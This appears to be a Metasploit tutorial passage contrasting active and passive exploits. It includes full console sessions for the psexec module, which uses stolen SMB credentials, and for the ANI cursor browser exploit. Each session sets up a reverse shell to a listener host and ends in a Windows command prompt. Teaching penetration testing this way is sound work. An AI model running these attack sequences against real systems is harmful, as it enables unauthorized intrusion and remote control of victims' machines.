Working with Active and Passive Exploits in Metasploit
All exploits in the Metasploit Framework will fall into two categories: active and passive.
Active Exploits
Active exploits will exploit a specific host, run until completion, and then exit.
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- Brute-force modules will exit when a shell opens from the victim.
- Module execution stops if an error is encountered.
- You can force an active module to the background by passing ‘-j’ to the exploit command:
msf exploit(ms08_067_netapi) > exploit -j [*] Exploit running as background job. msf exploit(ms08_067_netapi) >
Example
The following example makes use of a previously acquired set of credentials to exploit and gain a reverse shell on the target system.
msf > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 192.168.1.100 RHOST => 192.168.1.100 msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(psexec) > set LHOST 192.168.1.5 LHOST => 192.168.1.5 msf exploit(psexec) > set LPORT 4444 LPORT => 4444 msf exploit(psexec) > set SMBUSER victim SMBUSER => victim msf exploit(psexec) > set SMBPASS s3cr3t SMBPASS => s3cr3t msf exploit(psexec) > exploit [*] Connecting to the server... [*] Started reverse handler [*] Authenticating as user 'victim'... [*] Uploading payload... [*] Created \hikmEeEM.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \hikmEeEM.exe... [*] Sending stage (240 bytes) [*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:1073) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
Passive Exploits
Passive exploits wait for incoming hosts and exploit them as they connect.
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- Passive exploits almost always focus on clients such as web browsers, FTP clients, etc.
- They can also be used in conjunction with email exploits, waiting for connections.
- Passive exploits report shells as they happen can be enumerated by passing ‘-l’ to the sessions command. Passing ‘-i’ will interact with a shell.
msf exploit(ani_loadimage_chunksize) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.1.5:52647 -> 192.168.1.100:4444 msf exploit(ani_loadimage_chunksize) > sessions -i 1 [*] Starting interaction with 1... meterpreter >
Example
The following output shows the setup to exploit the animated cursor vulnerability. The exploit does not fire until a victim browses to our malicious website.
msf > use exploit/windows/browser/ani_loadimage_chunksize msf exploit(ani_loadimage_chunksize) > set URIPATH / URIPATH => / msf exploit(ani_loadimage_chunksize) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.5 LHOST => 192.168.1.5 msf exploit(ani_loadimage_chunksize) > set LPORT 4444 LPORT => 4444 msf exploit(ani_loadimage_chunksize) > exploit [*] Exploit running as background job. [*] Started reverse handler [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.1.5:8080/ [*] Server started. msf exploit(ani_loadimage_chunksize) > [*] Attempting to exploit ani_loadimage_chunksize [*] Sending HTML page to 192.168.1.100:1077... [*] Attempting to exploit ani_loadimage_chunksize [*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 192.168.1.100:1077... [*] Sending stage (240 bytes) [*] Command shell session 2 opened (192.168.1.5:4444 -> 192.168.1.100:1078) msf exploit(ani_loadimage_chunksize) > sessions -i 2 [*] Starting interaction with 2... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\victim\Desktop>
Next, we will look at how to actually use exploits in Metasploit.
